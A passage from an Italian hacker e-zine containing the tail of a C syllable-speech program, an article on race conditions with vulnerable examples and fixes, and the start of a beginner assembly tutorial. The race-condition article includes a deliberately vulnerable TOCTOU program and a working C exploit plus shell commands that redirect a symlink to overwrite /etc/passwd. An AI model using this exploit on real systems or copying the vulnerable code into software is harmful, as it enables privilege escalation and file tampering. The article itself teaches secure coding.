err_quit();
if (arg != CHANNELS) {
fprintf(stderr, "Unable to set required channels\n");
exit(-1);
}
arg = RATE;
if (ioctl(dev, SOUND_PCM_WRITE_RATE, &arg) == -1)
err_quit();
if (arg != RATE) {
fprintf(stderr, "Unable to set required sample rate\n");
exit(-1);
}
}
int
main(int argc, char **argv)
{
int dev, fd, i;
char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba;
if ((dev = open(DSP, O_RDWR)) == -1)
err_quit();
if ((fd = open(DB, O_RDWR | O_CREAT, S_IRWXU)) == -1)
err_quit();
set_device(dev);
rumore_fondo(dev);
for (;;) {
printf("Scrivi una frase: ");
if (fgets(buff, sizeof(buff), stdin) == NULL)
err_quit();
buff[strlen(buff) - 1] = 0;
memcpy(temp, buff, sizeof(buff));
for (parola = strtok(temp, " "); parola != NULL;
parola = strtok(NULL, " "))
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i);
i++) {
/*
Se la sillaba non presente nel
database procede alla sua memorizzazione
*/
if (trova_sillaba(fd, sillaba) == -1)
memorizza_sillaba(dev, sillaba, fd);
free(sillaba);
}
for (parola = strtok(buff, " "); parola != NULL;
parola = strtok(NULL, " ")) {
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i);
i++) {
/*
Riproduce la sillaba contenuta nel
database
*/
if (pronuncia(dev, sillaba, fd) == -1)
fprintf(stderr, "Sillaba "
"sconosciuta\n");
free(sillaba);
}
usleep(300000);
}
}
}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x06][C0DiNG] RACE C0NDiTi0NS [snagg] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-= alternauts.altervista.org - alternative research group =-
\ snagg (snagg(at)autistici<dot>org) - alternauts(at)altervista<dot>org \
Cosa sono:
Le race condition sono gli errori piu' comuni nella programmazione
multithreaded o multiprocesso. Una race condition si verifica quando
una assunzione fatta dal programmatore che non dovrebbe cambiare per un
dato lasso di tempo, cambia per forza .
In questo caso il programma diventa non deterministico dando luogo a
diversi problemi di robustezza del codice, ma spesso anche di sicurezza
del sistema dove il codice viene eseguito. Vediamo un piccolo esempio.
Supponiamo di avere un programma multithreaded che per ogni accesso
dell' utente restituisce un codice di sessioni differente preso da un
qualsiasi generatore di numeri casuali (es /dev/random) scrivendolo su
uno stesso buffer.
Cosa succederebbe se due utenti eseguissero quasi nello stesso momento
il programma? Il primo thread inizia ad essere schedulato, ma il kernel
lo blocca quindi processa il secondo restituendo il codice di sessione
generato per il primo thread subito dopo , il primo thread riprendera`
ad essere scedulato senza che il codice di sessione (scritto nel famoso
e _unico_ buffer) venga aggiornato .
In questo modo entrambi i thread restituiscono lo stesso codice.
Questo e` un esempio di race condition poiche` il programma fa
un'assunzione (Nessuno si collega al server per n milli secondi), che
viene infranta e quindi da luogo a problemi di sicurezza.
Generalmente su n tentativi puo' capitare che si verifichi la race
condition una volta sola. Anche se la possibilita` che si verifichi una
race condition non sono molte magari una su mille, molto prababilmente
con un attacco automatizzato sara` piu` facile sollecitarla e quindi
dare luogo a problemi. Le race condition sono strettamente collegate
allo scheduling di threads e processi, di cui parleremo in seguito.
Le race condition affliggono potenzialmente tutti gli ambienti
multithreaded, multiprocesso , con i segnali (UNIX) asincroni, con i
semafori e potenzialmente anche in kernel space, infatti il kernel linux
ad esempio ha la possibilita' di creare threads che lavorino solo in
kernel space. Purtroppo alcune race condition attaccano anche il
filesystem, recentemente e` stata trovata una race condition che
affliggeva JFS con le chiamete link() e unlink(), causando non poche
grane.
Supponiamo di avere un programma che prima di aprire un file usa la
syscall access()[2] per controllare se ha determinati permessi sul file
da aprire. Nel tempo che intercorre tra l`access e la reale apertura del
file, un attacker potrebbe cambiare il file sul quale il programma ha
determinati permessi con un altro su cui l'attacker non ne ha ottenendo
tutti i privilegi che il codice vulnerabile aveva sul primo.Ovviamente il
programma deve avere privilegi superiori di colui che cerca di
exploittarlo altrimenti sarebbe inutile fare tanta fatica per nulla.
Questo tipo di race condition si chiamano TOCTOU (time to check,
time to use). Piu' in la' nel testo vedremo con sfruttarle.Generalmente
le race condition dipendono dallo stato della macchina e dai tipo di
processi in esecuzione ovvero se hanno priorita` maggiore o minore dei
nostri.Piu` in la` spiegheremo come funziona lo scheduling.
Le finestre di tempo:
Una finestra di tempo e' il lasso di tempo in cui si puo' sfruttare la
race condition. Piu' questo e' ampio piu' ci sono probabilita' che la
race condition si verifichi.
I programmatori comunemente non fanno molto caso a quanto posso essere
ampia una finestra di tempo in termini di millisecondi, comunque sarebbe
buona norma rendere il codice "atomico". Con atomico si intende che il
codice critico viene eseguito senza che il processo venga switchato
ovvero uninterruptible , senza che nulla possa bloccare la sua
esecuzione.
Una buona soluzione sarebbe ridurre al minimo la finestra di tempo, che
se non atomica potrebbe essere così piccola da non essere mai sfruttata.
Lo scheduling:
Una tra le cose piu` importanti da sapere quando si cerca di sfruttare
una race condition e` sapere in che modo il kernel scheduli i threads.
Per quel che riguarda linux la politica di scheduling si basa su:
time sharing;
priorita` dei processi;
Lo scheduler tiene periodicamente conto di cio` che i processi fanno e
di conseguenza imposta la priorita` in modo tale da vedere quanto i
processi possano sfruttare la CPU, inoltre se un processo sta sfruttando
la CPU per un lungo periodo, la sua priorita` scende sistematicamente.
I processi vengono abitualmente classificati in:
Interactive processes;
Batch processes;
Real-time processes;
I primi sono quelli che necessitano dell'interazione con l'utente (es un
tocco del mouse o della tasiera), quindi necessitano di tanto tempo e
hanno una priorita` generalmente media. I secondi non sono interattivi,
spesso vengono penalizzati dallo scheduler poiche` non hanno bisogno di
gran respondivita`(es la compilazione di sorgenti con gcc) e hanno la
priorita` piu` bassa di tutti i tipi di processi.
Gli ultimi invece sono quelli con maggiore priorita` poiche` servono per
flussi di dati video o audio ad esempio che non possono interrompersi
frequentemente.
Abitualmente lo scheduler decide da solo che priorita` dare al processo
anche se il programmatore tramite syscall puo` assegnare la priorita`
che ritiene piu` opportuna.
E` molto importante notare che i processi in TASK_RUNNING hanno
priorita` sugli altri cosi` sono i primi a essere scedulati.
La stessa cosa vale per lo scheduling dei thread, per uno studio
conoscitivo del sistema e del processo sul quale bisogna perpretare
l'attacco sarebbe buon uso prendere in considerazione la possibilita`
di includere nel proprio exploit una syscall che indichi la priorita`
del processo assegnato dal kernel. Per avere una lista completa delle
syscall fate riferimento al [2] nella bibliografia.Bisogan fare qualche
precisazione esistono due priorita` per un processo una settata dal
kernel e una che puo` essere settata dall'user che lancia il processo
per quel che riguarda la seconda esistono priorita` da -19 a +20, mentre
per il primo si va da 1000 e -1000 e in piu` c'e` +ve per il processo
definito nello scheduling :
"goodness" value (the larger, the better)
-1000 significa che il processo non sara` mai selezionato , 0 che il
tempo e` scaduto ma che verra` riprocessato in seguito +1000 che e`
generalmente un realtime process.Per i processi che si usa classificare
con batch o interactive si hanno priorita` medie di solito cioe` diverse
da 1000 +ve , ovvio che potrebbero diventare 0 se scade il tempo
assegnatoli.
Esempi pratici:
Ecco di seguito 2 esempi di race condition, il primo e' una TOCTOU molto
semplice e poco realistica ,infatti il programma con la race condition
deve essere eseguito da root per sovrascrivere file importanti tipo
/etc/passwd, pero` e` un buon esempio della teoria dei TOCTOU.
Qualche tempo fa e` stata trovata una race condition del programma
passwd, infatti tutti gli utenti possono sovrascrivere la propria entry
nel file delle passwd, ma con qualche gioco in piu` si e` riusciti
creare un exploit che permettesse a qualunque utente di lavorare su
tutte le entry del file, basandosi sui concetti alla base delle TOCTOU.
-- Code - race1.c --
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int
main (int argc, char **argv)
{
FILE *f;
if (argc != 3)
{
printf ("USAGE %s : file string\n", argv[0]);
exit (-1);
}
if (!access (argv[1], W_OK))
{
f = fopen (argv[1], "wb+");
fprintf (f, argv[2]);
fflush (f);
}
else
{
perror ("access");
exit (-1);
}
return 0;
}
-- End Code --
Se si analizza il codice ci si accorge facilmente che c`e' un'ampia
finestra di tempo tra la chiamata access e la vera apertura del file,
in questo modo noi potremmo sovrascrivere un altro file sul quale non
abbiamo i necessari permessi (come /etc/passwd). Vediamo come dovrebbe
essere l'exploit teoricamente e come in realta' sara' una volta
automatizzato. Teoricamente basterebbe dare i seguenti comandi mentre il
codice viene lanciato.
touch file
ln -s file fakefile
Subito dopo che root ha lanciato il programma con argomento file:
rm fakefile && ln -s /etc/passwd fakefile
/etc/passwd rappresenta il file sul quale non abbiamo i permessi per
scrivere, ma che verra' sovrascritto dopo il nostro comando se abbiamo
fortuna.
Andiamo a vedere come sara' l'exploit automatizzato in C:
-- Code - race1_exploit.c --
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sched.h>
#define NAME_LEN 8
#define STR_LEN 1024
struct file
{
char *name;
char *name2;
char *string;
char *string2;
};
struct file *need;
void
inizializate ()
{
if ((need = (struct file *) malloc (sizeof (struct file))) == NULL)
exit (-1);
if ((need->name = (char *) malloc (NAME_LEN)) == NULL)
exit (-1);
if ((need->name2 = (char *) malloc (NAME_LEN)) == NULL)
exit (-1);
if ((need->string = (char *) malloc (STR_LEN)) == NULL)
exit (-1);
if ((need->string2 = (char *) malloc (STR_LEN)) == NULL)
exit (-1);
}
int getrace (char *file2, char *string)
{
FILE *rac, *to;
inizializate ();
/*
Azzero la memoria allocata dalla malloc()
*/
memset(need->name, 0, NAME_LEN);
/*
Usando un size di NAME_LEN - 1 assicuro che la stringa
sia sempre null-terminata
*/
strncpy (need->name, "toexl", NAME_LEN - 1);
strncpy (need->name2, "alias", NAME_LEN);
need->name2[NAME_LEN - 1] = 0;
strncpy (need->string2, string, STR_LEN);
need->string2[STR_LEN - 1] = 0;
if ((rac = fopen (need->name, "wr+")) == NULL)
{
perror ("fopen");
exit (-1);
}
while(strncmp (need->string, need->string2, strlen (need->string2)) != 0)
{
/*
Crea un link simbolico al file "toexl"
*/
if ((symlink (need->name, need->name2)) != 0)
{
perror ("link");
exit (-1);
}
if ((unlink (need->name2) != 0))
{
perror ("unlink");
exit (-1);
}
if ((symlink (file2, need->name2)) != 0)
{
fprintf (stderr, "Failed\n");
exit (-1);
}
/*
Legge il contenuto del file da sovrascrivere per eseguire un
successivo confronto mediante strncmp() al fine di verificare
se la race condition ha avuto luogo
*/
if ((to = fopen (file2, "r")))
{
fgets (need->string, STR_LEN, to);
fclose (to);
}
if ((unlink (need->name2) != 0))
{
perror ("unlink");
exit (-1);
}
}
fclose (rac);
return 2;
};
int main (int argc, char **argv)
{
if (argc != 3)
{
printf ("USAGE:%s filetosubscribe string\n", argv[0]);
exit (0);
}
if ((getrace (argv[1], argv[2])) == 2)
{
printf ("Well done , we have rewrite the %s file.\n", argv[1]);
}
return 0;
}
-- End Code --
Per prima cosa tramite una fopen()[2] creiamo il file (corrisponde a
"touch file"). Poi tramite symlink()[2] creiamo il link simbolico ad un
fakefile (corrisponde a "ln -s file fakefile"). Da questo momento in poi
iniziera' la vera automatizzazione del codice, abbiamo un while che
controlla che le prime stringhe dei due file siano uguali.
Nel ciclo viene cancellato il file tramite unlink()[2] e viene
simbolicamente linkato tramite symlink()[2]
("ln -s /etc/passwd fakefile"). Ecco tutto l'exploit.
Alcune precisazioni; se avessimo usato link()[2] invece di symlink()[2]
ci sarebbero stati alcuni problemi :
1)sarebbe stato un hard link che sarebbe stato scritto sul filesystem
stesso, quindi non si sarebbe potuta verificare la race condition
2)unlink i file(tranne i link simbolici) vengono rimossi solo quando
nessuna applicazione li usa piu` e solo dopo che sono stati chiusi da
tutti i thread/processi/programmi.
Il secondo esempio e` un programma che esamina delle variabili e dopo
averle processate punta alla prossima da esaminare:
-- Code - race1.c --
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
int first,second,*pointer;
void assigvar(void*arg);
void* getnextvar(void *arg){
pointer=&first;
assigvar((void*)pointer);
while(first > 4){
pointer=&second;
assigvar((void*)pointer);
}
while(second > 4){
pointer=&first;
assigvar((void*)pointer);
}
return NULL;
}
void assigvar(void *arg){
arg=0;
arg++;
printf("%d\n",(int)arg);
}
int main(){
pthread_t id, t;
if ((pthread_create(&id, NULL, getnextvar,NULL)) != 0)
exit(1);
if ((pthread_create(&t, NULL, getnextvar,NULL)) != 0)
exit(1);
pthread_join(id, NULL);
pthread_join(t, NULL);
return 0;
}
-- End Code --
Allora il codice si comporta cosi`: lancia due thread che modificano
il valore della prima variabile (first) poi entrambi modificano la
seconda e cosi` via.
La race condition potrebbe verificarsi se lo scheduling avvenisse in
questo modo:
1)il primo thread prende la variabile da modificare, controlla che non
sia del valore che deve essere assegnato
2)il kernel blocca il primo e fa partire il secondo che fa la stessa
cosa e modifica la variabile incrementando il suo valore cosa che
avrebbe dovuto fare il primo
3) il primo thread non sapendo che il secondo ha fatto la stessa cosa
aumenta ulteriormente il valore della variabile
Uno scheduling del genere da luogo ad una race condition, ovviamente per
la semplicita` del codice questa sara` quasi impossibile da dimostrare
anche se e` presente e potenzialmente pericolosa.
Vediamo delle possibili soluzioni per i codici precendenti
adoperabili quasi sempre.
Per il primo caso TOCTOU:
-- Code - race1_sol.c --
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int
secwrite (char *file, char *string)
{
FILE *f;
int fd;
struct stat first, after;
// do a stat before open the file
if (lstat (file, &first) == -1)
{
perror ("lstat");
exit (-1);
}
// open the file
if ((fd = open (file, O_RDWR)) == -1)
{
perror ("open");
exit (-1);
};
// check again the fiel aftet opening it
if (fstat (fd, &after) == -1)
{
perror ("fstat");
exit (-1);
}
//check if any part of the struct are the same
if (first.st_mode == after.st_mode && first.st_dev == after.st_dev)
{
// create the file descriptor
if ((f = fdopen (fd, "wb+")) != NULL)
{
fprintf (f, string);
fflush (f);
fclose (f);
}
}
else
close (fd);
return 2;
}
int
main (int argc, char **argv)
{
if (argc != 3)
{
fprintf (stderr, "USAGE %s : file string\n", argv[0]);
exit (-1);
}
if (secwrite (argv[1], argv[2]) == 2)
printf ("Done\n");
return 0;
}
-- End Code --
In questo caso si fa prima un lstat()[2] sul path del file, in seguito
si apre tramite la open()[2] il file e infine si fa di fstat()[2].
Se le struct di lstat e di fstat combaciano(almeno in certi campi) si fa
un fdopen()[3] sul file descriptor di open cosi` da avere un file
descriptor tipico di una fopen.
Il seguente metodo e` e` immune dalla race condition.
Con qualche modifica nell'open e nell'fdopen e` possibile usare questo
metodo per tutti i problemi relativi a questo tipo di race condition
filesystem.
Generalmente sarebbe buona regola per evitare i TOCTOU:
1) passare il path del file che si desidera aprire a lstat() invece di
fare solo uno stat() sul file
2)Aprire con open invece che con fopen magari settando un u_mask
appropriata e O_EXCL.
3) eseguire un lstat dopo averlo aperto
4) se tutto va bene eseguire fdopen
5) ricordarsi di chiudere tutti i file prima di fare altre operazioni
Le operazione sul secondo codice, potrebbero essere rese atomiche
tramite i mutex[3].
-- Code - race2_sol.c --
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
int first,second,*pointer;
pthread_mutex_t valuemutex;//create the mutex
void assigvar(void*arg);
void* getnextvar(void *arg){
pointer=&first;
assigvar((void*)pointer);
pthread_mutex_init(&valuemutex,NULL);//inizializate it
pthread_mutex_lock(&valuemutex);//lock the mutex
while(first > 4){
pointer=&second;
assigvar((void*)pointer);
}
while(second > 4){
pointer=&first;
assigvar((void*)pointer);
}
pthread_mutex_unlock(&valuemutex);//unlock it
return NULL;
}
void assigvar(void *arg){
arg=0;
arg++;
printf("%d\n",(int)arg);
}
int main(){
pthread_t id, t;
if ((pthread_create(&id, NULL, getnextvar,NULL)) != 0)
exit(1);
if ((pthread_create(&t, NULL, getnextvar,NULL)) != 0)
exit(1);
pthread_join(id, NULL);
pthread_join(t, NULL);
return 0;
}
-- End Code --
L'unica cosa che abbiamo fatto e` stato mettere un mutex prima dei
controlli sulle variabili in modo tale che un thread per volta legga i
valori e si comporti di conseguenza.
In questo caso basta usare i mutex su una variabile, ma qualche volta e`
necessario delimitare delle vere sezioni critiche che se non vengono
interamente eseguite il programma termina, si puo` definire una zona
critica tramite pthread_setcancelstate()[3], questo fa in modo che due
thread non possano essere switchati in esecuzione dando luogo a race
condition.
E` inoltre una buona idea usare qualche volta i lock dei file,
ma bisogna stare molto attenti come andremo a vedere in seguito.
Esistono due modi per fare il lock usando la chiamata open con il flag
O_EXCL oppure usando la chiamata lock.
Effetti collaterali, i deadlock:
Purtroppo l'uso di MUTEX o del lock dei file puo` dare origine a problemi
chiamati deadlock. I Mutex e i lock dei file permettono di bloccare
l'esecuzione di un thread/processo finche` una condizione non avviene.
Si ha una deadlock quando l'evento che dovrebbe sbloccare la funzione
non avviene mai e quindi il programma resta in stallo perenne.
Un esempio molto comune e` che un mutex aspetta di essere rilasciato dal
thread stesso che e` in attesa dello sblocco del mutex, ne consegue che
il mutex non verra` mai rilasciato poiche` il thread che dovrebbe
adempiere a questo compito e` bloccato stesso in attesa che il mutex
faccia continuare la sua esecuzione.
Per evitare questi problemi e` consigliabile controllare che
l'evento avvenga per forza entro un lasso di tempo, altrimenti lo si
forza in modo tale che il programma possa continuare il suo lavoro,
anche se questo introduce una certa latenza, alle volte inaccettabile.
Conclusioni:
Spero di essere riuscito a spiegare tutto in maniera chiara, se trovate
errori, imprecisioni o se avete curiosita` potete mandarmi una mail.
Come ultima cosa volevo ringraziare Vega_ che mi ha dato un aiuto nella
stesura dell'articolo.
L'ultima cosa che resta da dire e`, attenti ai vostri codici.
Cheers:)
Bibliografia:
[1]Building Secure Software
[2]Understanding the linux kernel
[3]ALP , advanced linux programming
[4]GaPiL , guida alla programmazione in linux
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x07][C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 1 [spectrum] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Un caldo e sentito _GRAZIE_ alla redazione di questa magnifica e inte-
ressantissima rivista, per avermi offerto questo spazio che spero di
utilizzare nel migliore dei modi. Vista la grande passione che coltivo
da un po' di anni per il linguaggio assembler (piu propriamente chiamato
assembly), colgo l'occasione per provare a spiegare in maniera piu'
semplice e chiara possibile di che cosa si tratta. Tenete presente pero'
che l'italiano a scuola non era il mio forte, per cui non usero' sempre
i termini piu appropriati, che diro' anch'io le mie cazzate, come le di-
cono del resto a volte anche i professori, ma che almeno tutto quello
che troverete di seguito e' solo farina del mio sacco.
Questa modesta serie di articoli, che spero sia scorrevole e leggera, e'
diretta a quelli di voi che veramente di assembler e microprocessori non
ne hanno la minima idea. Tuttavia chi ha gia un po di background potra'
comunque divertirsi a leggere un po delle cavolate che seguiranno :).
Di tut. assembly ce ne sono a milioni, ma la mie idea e' di illustrare
le cose in maniera talmente semplice che tutti voi possiate capire,
soprattutto chi parte da zero. Poche volte, anzi dieri quasi mai, ho
trovato quella semplicita' di spiegazione delle cose che ho sempre spe-
rato di trovare in merito all'assembler (il termine "assembler" che in
realta' indica il compilatore, e non il linguaggio, mi piace di piu').
Se riproporro' spiegazioni simili a quelle trovate in libri grigi e
freddi, allora avro' fallito la mia missione. Se qualcuno di voi tro-
vera' le mie spiegazioni da altre parti Googlando, allora avro' stra-
fallito. Se non capirete avro' fallito lo stesso quindi speriamo bene.
-(1)- breve introduzione
E' sabato sera ed avrei potuto andare in discoteca ma alla fine non mi
sarebbbe rimasto molto se non fumo respirato, bibita che ti scassa,
belle ragazze da vedere e non toccare, cose ormai che mi iniziano a stu-
fare. Un bel tutorial asm invece mi entusiasma un bel po'.
Fin da piccolo rimasi fortemente colpito dal linguaggio assembly e dalla
sua complessita'. Nel 1984 ero 13enne, e i computer piu diffusi nelle
case avevano nomi tipo ZX81, VIC20, Spectrum, C16, C64. Insomma nomi
che avrete sentito nominare almeno una volta. Computer nati quasi esclu-
sivamente far divertire i ragazzini con una discreta serie di giochi,
anche se fornivano un sistema operativo di base e un ambiente di svi-
luppo basato sul linguaggio Basic. Tuttavia l'assembler era indicato per
ottenere le massime prestazioni dall'hardware. Mi affascino' subito, e
mi affascino' proprio per la sua complessita'. Quel linguaggio si pre-
sentava appunto come una colonna di codici mnemonici indecifrabili, che
a 13 anni risultava essere veramente difficile da comprendere.
La leggenda narrava che l'assembly era il linguaggio piu vicino al lin-
guaggio della macchina, codice composto esclusivamente da UNI e da ZERI.
E cosi e'. Tutto quello che trovate nel mondo informatico, per essere
eseguito da un microprocessore, verra' sempre visto dal processore in
termini di istruzioni di base. E credo che per un po' di anni questa re-
gola rimarra' ancora valida :) .
Dunque, circa 7 anni fa ho deciso di riprendere in mano la sfida. Non ho
mai ingoiato il rospo di non aver mai capito nulla di asm (d'ora in poi
uso asm, asm = linguaggio assembly). La verita' e che sono sempre stato
abbastanza poco convinto, e che i libri che mi ero comprato non erano
scritti in modo tale da far capire il linguaggio anche a persone poco
sveglie come me. Insomma, mi e' rimasta la voglia di scrivere qualcosa
di molto semplice, per dare qualcosa a chi ha voglia di imparare, e so-
prattutto per spiegare argomenti veramente terra-terra che non ho trova-
to nei libri che ho letto. Se non comprender
ete alcune nozioni di base,
alcune domande vi rimarranno fisse nella testa. Spero che alla fine di
questo articolo o serie di articoli (vedremo) vi sia rimasto qualcosa.
Ok, ora basta annoiarvi con questa spece di autobiografia del cavolo.
Entriamo nel mondo della magia oscura, dei microprocessori, draghi
streghe kroll, troll, codici operativi, maghi e folletti, mnemonici
legati alle architetture, cavalieri, bus dati e indirizzi, etc etc.
A parte gli scherzi, forniro' in seguito un minimo di background elet-
tronico, giusto per arrivare fino ai bit e al clock.
Pronti ? Bene, proviamo a partire.
-(2)- nozioni BASE
Elenco alcuni punti fissi che reputo veramente necessari affinche' quel
che apprenderete dopo riguardo l'asm sia davvero vostro fino in fondo.
+ Cose'e' un PC ?
Questo non lo spiegherei. Se non lo sapete avete visitato il "sito
internet" sbagliato. Digita www.google.com nella barra indirizzi.
+ Cosa sono i Volt ?
I Volt sono l'unita' di misura della differenza di potenziale. Dunque,
vediamo come farvi capire in maniera semplice. Immaginate di mettere
una palla sopra a un armadio. La palla ha acquisito energia. Si trova
ora a un altezza di 2,5 metri. E se la spingete cadra' verso il basso.
L'energia che aveva acquisito gli era stata fornita da voi alzandola.
La palla sopra all'armadio si trova dunque ad avere un energia con se'.
Un po come tirare un elastico che quando mollate torna in posizione na-
turale. Quando tra due fili avete 12Volt significa che uno dei due fili
(detto il polo positivo, in elettronica sempre in rosso di solito) ha
un energia elettrica detta appunto "tensione" di +12VOLT rispetto
all'altro filo che sara' lo 0 (in elettronica di solito e' indicato in
nero, di solito i punti a potenziale (energia) 0 sono tutti collegati
assieme a una massa metallica). In questo esempio la situazione e'
stabile, cioe' sempre +12V sul filo rosso e 0V sul nero, anche se tras-
corre del tempo. Questo tipo di tensione e' chiamata CONTINUA e ha poco
a che vedere con la tensione 220VOLT che accende le lampadine di casa
vostra. Quella e' un energia che varia nel tempo. L'hardware digitale
dei PC (da dopo l'alimentatore in poi) funziona a tensione CONTINUA
(anche indicata come DC, o =). In particolare l'alimentatore dei PC
(non parlo ovviamente dei server della NASA ma dei PC che avete a casa),
fornisce tutta una serie di tensioni: +5 e +12 che alimnentano le peri-
feriche quali HD, floppy e CDROM, (queste tensioni sono presenti su quei
connettori a quattro poli, rosso +5V, giallo +12V e i due neri al centro
sono collegati assieme a 0Volt (massa comune con la crcassa del "case").
L'alimetatore fornisce poi tutta una serie di tensioni che alimentano la
scheda madre, tensioni presenti sul connettore piu grande (2 per i
Pentium4). Scusate se mi dilungo su cose banali, ma ripeto, vorrei che
le cose piu ovvie e scontate siano chiare a tutti.
+ Cosa sono i Bit ?
I microprocessori capiscono un unico linguaggio: il digitale, cioe' quel
linguaggio composto da segnali elettrici precisi e univoci, che non va-
riano se non di colpo, senza livelli intermedi. Cioe', sarebbe inutile
che io vi gridassi un "ooouaeoi" se voi potreste sentire solo le lettere
A ed U. I microprocessori capiscono solo 2 segnali elettrici uno ALTO,
chiamato anche 1, o appunto BIT 1, segnale pari a un livello di tensione
tra i 3 e 5 VOLT, a seconda del tipo di microprocessore, e uno BASSO,
chiamato anche 0 o BIT 0. Questi due livelli, chiamati anche in inglese
HIGH e LOW, sono le uniche 2 informazioni che il microprocessore comp-
rende.
+ Il codice binario, cos'e' e come funziona, in maniera sintetica
Non avrei potuto parlarvi del codice binario senza spiegarvi i BIT e non
avrei potuto parlarvi dei BIT senza spiegare qualcosa dei VOLT (scusate
se sono pesante come un prof. rompipalle). Bene, i libri di solito qui
cominciano a rompere. Vediamo se riesco a essere piu semplice. Il micro-
processore comprende solo zeri e uni, e comunque comprende solo numeri.
Alcuni genialoidi hanno pertanto fissato delle convenzioni mondiali:
a) 8 Bit messi uno vicino all'altro formano un Byte
b) 1024 Byte messi uno vicino all'altro formano un KiloByte
c) 1024 Kbyte messi uno vicino all'altro formano un MegaByte
E cosi via. Un byte e' quindi un numero binario di 8 bit che noi umani
abbiamo la possibilita' di interpretare come numeri esadecimali o de-
cimali. Come funziona il binario ?
Noi contiamo 0 1 2 3 4 5 6 7 8
Il PC conta 0 1 10 11 100 101 110 111 1000 etc etc etc
Quello che credo sia utile e' che:
con _OTTO_ bit hai un numero al massimo grande 2 elev. alla _OTTO_,
11111111 = 255 (da 0 a 11111111 abbiamo 256 unita')
con 20 bit, 2^20, = 1 MegaByte.
con 32 bit, 2^32, = 4 Giga.
+ Altre unita' utili legate al BYTE
1/2 BYTE si chiama anche nibble (4BIT)
2 BYTE = 1 WORD
4 BYTE = 1 DWORD (doubleword, 32 bit))
8 BYTE = 1 QWORD (quadword, 64 bit)
+ Cos'e' la memoria ?
Immaginate un mobiletto altissimo, di altezza infinita, composto da tan-
ti cassetti uno sopra all'altro. Ok, il piu basso e' il cassetto 0, il
secondo e l'1, il terzo sara il cassetto 2, e cosi via. Il cassetto
piu alto, avra' un numero legato alla capacita'(altezza) massima del mo-
bile. Bene, nella memoria del PC, ogni cassetto contiene 1 Byte.
Non e' difficile insomma, i cassetti potranno essere riempiti o svuotati
solo utilizzando BYTES. Non potrete scrivere o leggere a singoli bit.
Se scrivete una DWORD in memoria con c++, in realta' scrivete 4 BYTE,
uno per volta.
+ Cos'e' un microprocessore ?
Questo lo spieghero' meglio in seguito con un esempio piu semplice pos-
sibile. Tuttavia ne anticipo una prima spiegazione, se non la capite
non ha importanza. Verra' buona per dopo.
Una scatoletta nera, con dentro milioni di "TRANSISTOR" (prendete questo
termine come se fosse un interruttore). Una scatoletta con dentro pero'
anche un po di memoria. Una zona di memoria chiamata CACHE dove ci sara'
un blocco di dati pronti da leggere, e una piccolissima zona di memoria
chiamata REGISTRI del MICROPROCESSORE, che sono una serie di cassetti
vicino alla parte del micro che esegue le operazioni (appunto il cuore
del micro) che serviranno a contenere numeri per i calcoli da eseguire
in maniera piu veloce possibile. Al vocabolo REGISTRI vi dovrete abi-
tuare visto che sara' un termine di continuo utilizzo nell'asm. I regi-
stri escono dalla regola "la memoria e' fatta solo da contenitori di
capienza 1 BYTE", in quanto nei PC solitamente contengono 16 o 32bit per
ognuno, anche se un registro a 32 bit si puo spesso leggere e scrivere
anche per soli 8 o 16 bit. Sono cassetti "grandi" proprio per eseguire
calcoli veloci con numeri grandi.
Il numero, il nome e la capienza dei registri del microprocessore sono
strettamente legati appunto alla marca e al modello del micro stesso
(es, la famiglia dal 386 al Pentium4 ne ha 16 di base, 9 da 32 bit, 6
da 16 bit e uno ancora da 32.
Un microprocessore Intel StrongARM ne ha 16 da 32bit, un micro AMD K6 per
i 16 registri di base e' identico al Pentium4 (se no non ci sarebbe
compatibilita') e cosi via insomma.
Un microprocessore esegue pertanto calcoli su numeri contenuti nei re-
gistri, spostamenti di valori da un registro a un altro, o da una loca-
zione di memoria ad un'altra.
+ Il BUS DATI e il BUS INDIRIZZI
Immaginate che dalla nostra scatoletta nera (microprocessore) escano
32+8+1+1 piedini. Piu o meno, e' cosi anche in realta' nei vostri
pentium (ci sono molti piu piedini che escono ma per ora parliamo di
questi). Allora i 32 si collegano con delle piste di rame su un lato
della scatoletta della "memoria". Gli altri 8 piedini si collegano su un
altro lato della scatoletta nera "memoria".
E gli uno+uno che rimangono anche loro vanno alla memoriam in due punti
diversi. Bene.
Con i 32 piedini (bus indirizzi) scegliamo a che cassetto puntare, con i
due pin separati diciamo alla memoira TIENI o DAMMI. Con DAMMI il conte-
nuto del cassetto viene posto sugli otto pin che restano. Con TIENI
viene invece preso il valore presente sugli 8 pin e messo alla posizione
di memoria indicata dal BUS INDIRIZZI.
+ Il Clock
Il clock e' il motore del PC. E' un segnale elettrico chiamato appunto
"OndaQuadra" che si ripete continuamente nel tempo. E' fatto cosi':
_ _ _
_| |_| |_|
La frequenza di questo segnale significa quante volte si ripete in un
secondo. E' generato da un circuito apposito, che comprende un oscil-
latore al quarzo. In poche parole, all'accensione del PC, questo cir-
cuito e' elettricamente instabile e il quarzo ne aumenta l'instabi-
lita', creando l'oscillazione con frequenza pari alla frequenza di
lavoro del quarzo. Dunque, per farvi capirte, vediamo.. immaginate un
pendolo che tenete fermo in uno dei due punti della sua massima oscil-
lazione. Quando volete partire lo mollate, e lui, grazie anche a un
